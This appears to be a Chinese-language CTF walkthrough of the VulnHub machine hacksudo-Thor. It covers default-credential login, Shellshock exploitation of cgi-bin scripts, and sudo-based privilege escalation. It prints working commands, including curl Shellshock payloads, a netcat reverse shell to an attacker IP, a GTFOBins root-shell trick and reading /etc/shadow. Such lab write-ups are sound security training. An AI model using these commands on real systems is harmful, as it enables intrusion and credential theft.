0x10-VulnHub-hacksudo-Thor

环境

靶机:https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip

难度:中

内容

  1. 开源源码泄露
  2. CGI
  3. 破壳漏洞 .cgi .sh
  4. SUID提权

操作

信息收集

常规的端口扫描 主机发现 80端口是个登录界面 试了试弱口令 进不去

再扫一扫目录 发现还有个登录界面 然后在readme.md找到了默认密码 (也可以根据这个文件提供的github地址 去github找源码 看看有什么泄露的东西 这里在文档上面就直接出来了默认账密)

image-20240312171811159

添加功能出现了sql语句的报错 但是无法拿到shell

image-20240312172620282

这里有四个账号 点击去也可以看到密码

image-20240312191703860

还有一种思路 已经获取了这系统的源码 我们可以去翻翻源码里面的sql文件 去看看 有没有初始的用户

再用提到的账号密码去登录80的那个登陆页面

image-20240312192307583
image-20240312192339091

这个post news 功能存在 xss 但是没啥用

image-20240312174939172

业务逻辑漏洞

用找到的几个默认的用户可以登录进去80的那个后台 zakee94 nafees123 可以看到这个用户有多少钱

image-20240312193258773

添加一个用户 然后给这个用户转钱

image-20240312193922132

直接用他的登录密码

image-20240312194100850
image-20240312194130998

在admin后台也可看到用户PIN 也可以让用户扣钱

image-20240312194211726

不能够让登录的密码成为支付密码 (但是我发现健身银行就是这样啊哈 )

CGI

在扫目录的时候 发现了 cgi-bin 一开始是403 但是当我们登录后再去访问 就能够看到页面内容了(没啥可利用的)

CGI:通用网关接口(Common Gateway Interface)是一个Web服务器主机提供信息服务的标准接口。通过CGI接口,Web服务器就能够获取客户端提交的信息,转交给服务器端的CGI程序进行处理,最后返回结果给客户端
image-20240312224912400

进行请求处理的可能是shell脚本

在cgi-bin这个目录下就会存储很多脚本文件 .cgi .sh

于是就用dirsearch 去扫描一下cgi-bin 目录存在哪些文件

python3 dirsearch.py -u http://192.168.3.122/cgi-bin -f -e sh,cgi

image-20240312205325160

响应码是500 服务器报错的响应码 说明存在这个文件,只是我们没有提供正确的参数 ,服务器无法处理我们请求

而这个可能收到破壳漏洞的影响

在涉及 CGI 的环境中,如果 Web 服务器使用的是 Bash 作为 CGI 脚本的解释器,并且系统受到了破壳漏洞的影响,那么攻击者可能会利用 CGI 程序来触发破壳漏洞,进而实现对系统的攻击。通过在 CGI 请求中注入恶意内容,攻击者可以利用破壳漏洞执行任意代码,从而危害系统安全

破壳漏洞

破壳漏洞(shell),利用整个web应用的软件架构中的一部分可以执行代码的软件组件,通过这种漏洞来实现代码执行,反弹shell等操作

破壳漏洞所利用的就是shell的bash类型

根本原因:由于bash解析环境变量当中引用的函数定义的时候,它的过滤和函数定义的界限区分不清晰,而造成了这个漏洞**

如果web应用使用了cgi技术,通过外部程序的引用,引用了操作系统的bash来处理一些指令的话,那么就可以把http服务作为访问操作系统shell的通道,向操作系统shell,提交环境变量定义,环境变量定义当中,又引入其他的函数定义,实现目标的手段

判断和利用:

去寻找web程序下/cgi-bin下是否存在cgi,sh的文件,如果存在,那么就意味着这个web应用程序所引用外部应用程序就是操作系统的shell

条件:操作系统使用的是bash并且版本老

如果存在cgi或者sh后缀的话,使用nmap进行判断是否有破壳漏洞

检测

nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.3.122

image-20240312210906369

使用curl进行进一步探测,自定义一个ua头,然后再u头中自定义一个函数,然后输入操作系统的指令,并查询是否存在nc

curl -H "user-agent: () { : ; }; echo; echo; /bin/bash -c ' which nc '" \http://192.168.3.122/cgi-bin/shell.sh

image-20240312210938476

反弹shell

curl -H "user-agent: () { : ; }; echo; echo; /bin/bash -c ' nc -e /bin/bash 192.168.3.120 3333 '" \http://192.168.3.122/cgi-bin/shell.sh

image-20240312211108284

提权

这条 sudo 配置的含义是允许用户 www-data 在主机 HackSudoThor 上以 thor 用户的身份执行 /home/thor/./hammer.sh 这个命令,并且在执行时不需要输入密码 并不是以root

image-20240312220136911

但是你直接去这样执行

image-20240312220243861

需要这样 指定thor用户

sudo -u thor /home/thor/./hammer.sh

再通过这个应用的一些操作 拿到了 thor的shell

image-20240312221126087

爆破出来目录里面的id_rsa 再结合user里面的 试试可不可以登录 但是这个思路不对诶

image-20240312221841644

还没看看有没有suid sudo -l (切换个用户就要重新看看 这个用户有没有配置错误

image-20240312222648631

去找 https://gtfobins.github.io/gtfobins/service/

sudo service ../../bin/sh

image-20240312223352910

也可以用 sudo cat /etc/shadow 的root密码 然后破解密码